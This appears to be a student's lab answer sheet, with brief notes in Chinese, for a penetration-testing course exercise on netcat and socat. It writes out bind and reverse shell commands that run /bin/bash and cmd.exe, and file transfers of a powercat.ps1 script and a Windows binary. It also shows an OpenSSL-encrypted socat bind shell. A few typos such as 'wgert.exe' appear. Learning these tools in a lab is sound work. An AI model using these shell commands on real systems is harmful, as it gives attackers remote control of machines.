# Exercise 4.1

1. Linux: nc -nlvp 4444

Windows: nc [Linux’s IP] 4444

連線後可雙向對話

1. (a) Windows: nc –nlvp 4444

Linux: nc –nv [Window’s IP] 4444 –e /bin/bash

連線後可在Windows上執行Linux命令

1. Linux: nc –nlvp 4444

Windows: nc –nv [Linux’s IP] 4444 –e cmd.exe

連線後可在Linux上執行Windows命令

1. Linux: nc –nv [Linux’s IP] 4444

Windwos nc –nlvp 4444 –e /bin/bash

連線後可在Windows上執行Linux命令

1. Windows: nc –nlvp 4444 –e cmd.exe

Linux: nc –nv [Window’s IP] 4444

連線後可在Linux上執行Windows命令

1. Linux傳給Windows

Windows: nc –nlvp 4444 > incoming.exe

Linux: nc –nv [Window’s IP] 4444 < /usr/share/windows-resources/binaries/wgert.exe

Windows 傳給Linux

Linux: nc –nlvp 4444 > a.txt

Windows: nc –v [Linux’s IP] 4444 < readme.txt

# Exercise 4.2

1. Linux: sudo socat TCP4-LISTEN:443,fork file:powercat.ps1

Windows: socat TCP4:10.0.2.15:443 file:received\_powercat.ps1,create

1. Windows: socat –d –d TCP-LISTEN:443 STDOUT

Linux: socat TCP4:10.0.2.8:443 EXEC:/bin/bash

1. Linux: openssl req -newkey rsa:2048 -nodes -keyout bind\_shell.key -x509 -days 362 -out bind\_shell.txt

Linux: cat bind\_shell.key bind\_shell.txt > bind\_shell.pem

Linux: sudo socat OPENSSL-LISTEN:443,cert=bind\_shell.pem,verify=0,fork EXEC:/bin/bash

Windows: socat – OPENSSL:10.0.2.15:443,verify=0